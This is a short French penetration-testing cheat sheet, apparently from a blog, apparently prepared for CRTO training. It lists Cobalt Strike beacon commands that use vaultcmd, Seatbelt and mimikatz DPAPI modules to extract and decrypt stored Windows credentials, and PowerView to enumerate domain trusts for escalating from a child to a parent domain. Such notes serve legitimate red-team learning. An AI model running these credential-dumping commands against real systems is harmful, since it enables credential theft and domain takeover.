DPAPI est le diminutif de data protection API. Il s’agit d’un credential Manager pour windows Active Directory. Pour énumérer les utilisateurs :

1
run vaultcmd /listspose.Words.b8a8f815-686d-4082-ae71-ce7001721a24.112.png)

Puis si il y’a Windows Credentials , nous allons faire :

1
run vaultcmd /listcreds:"Windows Credentials" /all

Ou avec Seatbelt :

1
execute-assembly C:\Tools\Seatbelt\Seatbelt\bin\Release\Seatbelt.exe WindowsVault

Puis :

1
execute-assembly C:\Tools\Seatbelt\Seatbelt\bin\Release\Seatbelt.exe WindowsCredentialFiles![ref6]

Il faut obtenir la masterkeys :

1
mimikatz dpapi::masterkey /in:C:\Users\bfarmer\AppData\Roaming\Microsoft\Protect\S-1-5-21-2708793558-3453453652-160833008-1106\cd3e8be

Ensuite avec mimikatz :

1
mimikatz dpapi::cred /in:C:\Users\<users>\AppData\Local\Microsoft\Credentials\<filename> /masterkey:'keys'

Trust Domain

Parent/Child

Il s’agit d’un relation entre deux domaines. Nous pouvons le voir avec l’attribut WITHIN_FOREST , grâce à powerview. Nous allons prendre l’exemple de CRTO :

1
2
3
4
5
beacon> powerpick Get-DomainTrust | select TrustAttributes 

TrustAttributes
~~~~~~~~~~~~~~~
WITHIN_FOREST

Bidirectionnel

Lorsque la TrustDirection est en bidirectionnel, soit “two-way”. C’est à dire que les deux domaines ont accès l’un à l’autre. Si nous sommes Administrateur sur le domain child alors nous auront accès en tant qu’administrateur sur le domain parent.


Pentest CheatSheet
http://example.com/2023/08/11/cheatsheet_pentest/
Author
Raphgui
Posted on
August 11, 2023
Licensed under